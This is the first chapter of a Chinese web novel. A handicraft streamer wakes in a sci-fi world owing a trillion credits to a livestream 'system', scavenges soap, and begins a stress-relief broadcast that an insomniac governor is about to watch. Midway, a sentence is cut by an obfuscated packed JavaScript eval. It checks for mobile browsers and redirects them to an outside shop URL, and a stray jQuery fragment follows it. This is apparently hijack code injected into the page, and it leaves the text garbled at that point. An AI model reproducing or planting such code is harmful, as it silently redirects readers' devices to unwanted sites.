“所以我现在只能再活12小时,还欠你......?”燕慧用力按压突突狂跳的太阳穴,目光落到某处虚空,又数了一遍那一长串零,“一万亿?!”
【债务:1,000,000,000,000星币。抹杀倒计时:23:58:28。请宿主尽快行动!】
燕慧在成都都没见过这么多零!
不断跳动的猩红数字犹如催命符。从攒够五百万准备享受退休生活,到背上万亿债务,燕慧指尖冰冷,脑仁几欲爆炸。
她虽是小有名气的手工博主,但就算被拆成细胞卖,恐怕也抵不上债务的一个零头!或许......她深呼吸,“你是不是出BUG,漏掉小数点了?”
【本系统不可能出现低级错误,所有条款合同里都有明文标注。】
燕慧无语到笑,她熬夜猝死时052直播系统突然出现,仅仅给了十秒考虑时间。
接受,活。拒绝,死。她又没点量子力学读书技能,哪里来得及通读那数十万字的合同?
木已成舟,不提分期还清债务后买断自由身,当下她每天还需要1万星币续命。
燕慧磨牙,她职业生涯巅峰期的收入也不过如此,如今可是零基础起步啊!
干脆死了算了!她木着脸想,手指却诚实地划开了光脑,想当网络讨口子,了解当下的网络风向是第一要务。
循着052提示进入社交媒体,高饱和的缤纷色彩瞬间占据视野,密密麻麻的图案、文字,各色轰炸式标题使出浑身解数抢占视觉焦点。
#苏亦珩正式就任蓝星执政官,交接工作圆满完成#加红加粗的置顶热搜自动弹出:
一位身姿挺拔的俊美男人正神情冷肃地宣誓就职。他非常年轻,穿着剪裁考究的复古三件套正装。燕慧的目光在男人深陷眼眶下的青灰,和透出亏空感的苍白皮肤上稍作停留,便毫不留情叉掉页面,她现在可没时间研究政治。
#深夜星港的霓虹,为每一个奋斗者长明#
#如何评价XX星系机甲天才拒绝上前线,回母星种土豆#
燕慧在前者评论区喝了一肚子鸡汤,又在后者下面围观几方撕了个昏天黑地,逐渐对这个世界有了基础了解:
人类与死敌虫族缠斗千年难分胜负,为供应庞大的战争消耗,绝大部分宜居星球长期处于准军事化管制状态,娱乐匮乏。
但数年前线忽然取得了突破性进展,之前公认无解的母巢被一支传奇舰队攻破,人类部队从此占据上风,捷报连连。
胜利在望,战争消耗减少,各星管制渐松,之前强制分配的军校学生第一次有了自主选择权,娱乐行业空前蓬勃发展,但效率至上的精英主义仍然盛行,社会压力极大。
燕慧眼中燃起熊熊火焰,前世她专攻解压玩具赛道,卷生卷死才百万粉,现在如此好的机遇摆在眼前,她怎能错过!
“你能提供全品类的商品,满足我的直播需求吗?”
商城页面凭空浮现在脑海,燕慧一番检索,可供挑选的成品基本没有,不由皱眉,“你的商品种类太单一了吧。”
【等级限制,跨界商城暂未开通。】
系统升级后能开跨界商城?燕慧心念微动,至于原材料......看着账户里仅剩的137星币,她泄气成了霜打的茄子。
回想起没来得及花的五百万存款,燕慧挤出一个比苦还难看的笑,“我真谢谢您为我挑的身体了。”
不精挑细选都找不出这么穷的好吗?
“不用谢。”052对第一任宿主的印象稍有改观。009说有教养的宿主能为系统带来更多收益,当然,督促必不可少。
【抹杀倒计时:10:36:45,请宿主尽快赚取星币!!】
天崩开局,系统还是个听不懂好赖话的人工智障,燕慧生无可恋地思量着破解办法,“砰砰砰!”一连串粗暴的敲门声传来。
原身来到蓝星后几乎切断了与外界的联系,燕慧稍加检索后心下了然,这阵仗只能是房东王姐了。
“来了。”她起身拖着步子来到门边,门锁刚松,门板就被一股蛮力从外面猛地推开!劲风扑面,要不是燕慧反应快往后退了一步,木门能直接砸断她鼻梁骨。
“躲了一周,终于舍得开门了?”王姐快步上前,生怕燕慧跑了似的一把拽住她的手腕。
“王姐,您下次推门还是小心点好,万一把我撞出个好歹,医药费可比房租贵。”燕慧吃痛,指节发力反扣住王姐手腕上的软肉,顺势往下一按!
“啊痛痛痛!”王姐猛地甩开手,她没料到在鹌鹑似的丫头手上吃了暗亏,惊怒之下怒火彻底爆开:“你个拖欠房租的还讹上人了?!今天要么交钱,要么滚蛋!”
咆哮声在狭窄的房间里回荡,王姐插起腰,等着看燕慧吓得缩脖子道歉的怂样。
然而面前的少女神色淡然,“好啊。”
气氛一时沉寂,王姐掏了掏耳朵,三角眼上下打量燕慧,还是那张过分漂亮的脸,身上那件廉价T恤也没变,但她就是觉得燕慧跟之前不一样了。
王姐正隐隐心慌,燕慧倚靠在门框上,慢条斯理开口,“你心里比我清楚,在中央城北区地段,除了我这样外星来的冤大头,还有谁肯花一千星币一个月的高价租你这间顶层小破屋?”
王姐被戳中死穴,脸色一阵青一阵白,她硬着嗓子啐了一口,“你什么意思?嫌贵你别租啊!”
“我认了,但我现在确实没钱,你宽限我三天,我一定把房租补齐。”燕慧坦然道,三天后她若还活着,这一千不算什么,若死了,更不算什么了。
“三天赚一千星币?你吹什么牛呢!”王姐三角眼一挑,用挑选货物的眼神打量燕慧过分漂亮面庞。
“你可以现在把我赶出去。”燕慧双手环胸,下巴微微一抬,“只是不知道你得花多久才能找到下一个冤大头了。”
钱哪有那么好挣?王姐张嘴想骂燕慧不知天高地厚,可对上她那双沉静如水的眼睛,不知怎的,心里竟然有些发虚。
这丫头到底哪来的底气?王姐狐疑的视线在燕慧玲珑有致的身形上逡巡,一些肮脏的念头浮现,她的神色迅速转为鄙夷,“行!就三天,要是再见不到钱,你就别怪老娘不讲情面!”
燕慧望着她扭着粗壮的腰身噔噔噔远去,神色渐冷,必须尽快赚钱,网上的东西买不起,就只能去外面碰碰运气了。
她一级级跨下夹杂着霉酸下水道反味的阴冷阶梯,穿过曲折的小巷来到主路,劣质香精与碱液的酸涩味扑面而来。没有绿化带,没有行道树,目之所及皆是五彩斑斓的灯牌,在阴沉的白天亮得扎眼。
再苦也不能苦了嘴,燕慧挑了家环境相对好些的小饭馆,眼也不眨点了一荤一素一汤,付完钱卡里的余额凑了整。
正等着上菜,街对面传来一声沉闷的皮肉击打声。
“连个火都看不住,老子养你有什么用!”一个穿着脏围裙的精壮汉子,正死死揪着一个半大女孩的耳朵。“你知不知道这批肥皂能卖多少钱?”
燕慧心念一动,肥皂可是做解压直播的好材料。
女孩也是有血性的,明明疼得直哆嗦,却咬紧牙关一声不吭。汉子越发来气,狠狠给了她一巴掌,“三棍子打不出一个屁的烂怂货,今天不许吃饭!滚去后面洗发酵桶!”
“看什么看?”汉子冲围观群众啐了口痰,骂骂咧咧进屋。
女孩木然地站在原地,半张脸肿得老高。
“叶子姐,你没事吧?”一个瘦弱的女孩耷拉着脑袋凑近,“都怪我找你帮忙救猫.......”
“笨蛋小禾,这点程度就当松快松快皮了。”叶子飞快抹了抹眼角,高高挺起胸膛,肚子却不给面子地叫出了声。
“你来我家吃饭吧。”小禾怯生生邀请。
“算了,我爹知道又该骂街了,你赶紧回去吧。”叶子见小伙伴不动,故意板起脸,脖子一梗,“我的话都不听了是不是?”
看着小伙伴远去的背影,叶子的肩膀终于垮了下来,两滴泪砸落在布满灰尘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838248|211547||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的道路上。
头顶突然落下一片阴影,叶子像只机警的小兽,抬头瞪圆眼睛看向来人,一个好看的大姐姐冲她温和一笑:“我菜点多了,你能帮我分担一点吗?”
燕慧的余额成功降到两位数,叶子端起饭碗吃得头也不抬,要不说半大丫头吃穷老子,燕慧又加了个菜两人才吃饱。
小孩姐是个干实事的,不但亲自带燕慧去垃圾堆找肥皂,还偷拿家里的小推车帮忙运输,送货上门。
“这些肥皂硬邦邦的,沾水都没泡泡,洗不干净东西。”叶子好心提醒。
“要的就是这种。”燕慧拍拍她的肩膀,“今天谢谢你啦,等我发财了再请你吃饭。”
叶子满脸都写着“这人想钱想疯了吧”,但吃人的嘴短,只得把腹诽咽下,推着车一溜烟跑了。
这批肥皂有近两百块儿,燕慧打开系统商城,没有好用的工具,给这么多已经干硬的肥皂打格子,难度堪称反人类。
但穷有穷的活法,燕慧再次亲切问候了052的祖宗,清空余额买下一把最廉价的美工刀和一盒备用刀片。
她敛去杂念,均匀地在垃圾堆捡来的木条上开槽,打磨光滑后,用榫桙结构将刀片一一固定,2小时后,间隔2mm的网格刀新鲜出炉。
天边已经烧成一片橘红,燕慧连口水都顾不上喝,紧赶慢赶挨个给肥皂打格子。
晚上十点,她活动开僵硬发酸的肩颈,挑出一件还算干净的纯黑衬衫,平铺在斑驳的的木桌上。
“052,开启直播。”成败在此一举!
与此同时。
苏亦珩结束八小时的蓝星发展会议,慢慢靠在椅背上,抬手轻按眉心。
“又头疼了?”助理兼随行医生的杜城自小跟着苏亦珩,两人情同兄弟,私下相处一向随性,“我让你找个自然星球静养,你倒好,挑了个农业星当执政官,还连累我......”
脑部神经的刺痛渐缓,苏亦珩放下揉捏眉心的手指,重新坐直身体,“我没事。”
“你昨天才睡了两小时,铁打的身体也禁不住这么熬啊。”杜城蹙眉,“你真不能这么拼了,我把新发现的可爱主播推给你,你有空可以去看看放松下精神。”
某些不愉快的记忆被勾起,苏亦珩敬谢不敏,“你自己留着吧。”
杜城提醒:“明天八点还有行程,你早点休息。”
“嗯。”苏亦珩喝下杜城递来的最高浓度精神舒缓剂,闭眼躺上床,试图慢慢积攒睡意。
没用。
舒缓剂的效力又减退了,苏亦珩的大脑明明疲惫到渴盼安眠,意识却总无比清醒。
苏亦珩翻来覆去,平躺胸口闷得发慌,侧躺又坚持不了一会儿就觉得麻,脊背沁出的薄汗沾湿睡衣,又凉又燥。
混杂的思绪冲入努力放空的脑海上蹿下跳,古董时钟的滴答声变成了砸在天灵盖上的重锤。
骨头上一道道已愈合的伤口隐隐作痛,似乎要重新四分五裂,苏亦珩呼吸越来越重,越来越急,血管中血液奔涌的轰鸣在精神海不停回荡,几近将他逼疯。
苏亦珩再也躺不住了,他猛得坐起,喘着粗气点开光脑,悲哀地发现才过了半小时。
时间化做无边无际的泥沼,而他深陷其中,清醒地一寸寸腐烂在黎明前。
苏亦珩边缓缓吐出一口浊气,边思量要怎么消磨时间,“嗡——”一条同星球直播推送突然弹出:睡不着?来解压直播间,不哄你睡着不下播。
标题下挤着长长一串小标签:#失眠救星#解压#白噪音#沉浸式#安静#治愈#社畜友好#
苏亦珩本就发疼的额角抽了抽,舒缓剂的持续畅销早印证了像他这样受失眠折磨的人不少,市场意味着流量,堆治失眠噱头博流量已经是老路子了,连他这个不爱看直播的都被杜城硬拉着看过几个,至于结果,看他现在的状态就明白了。
他不应该再产生不切实际的期待,苏亦珩很清楚这点,但今晚的夜格外漫长,他喉结滚了滚,终于还是挪动了手指。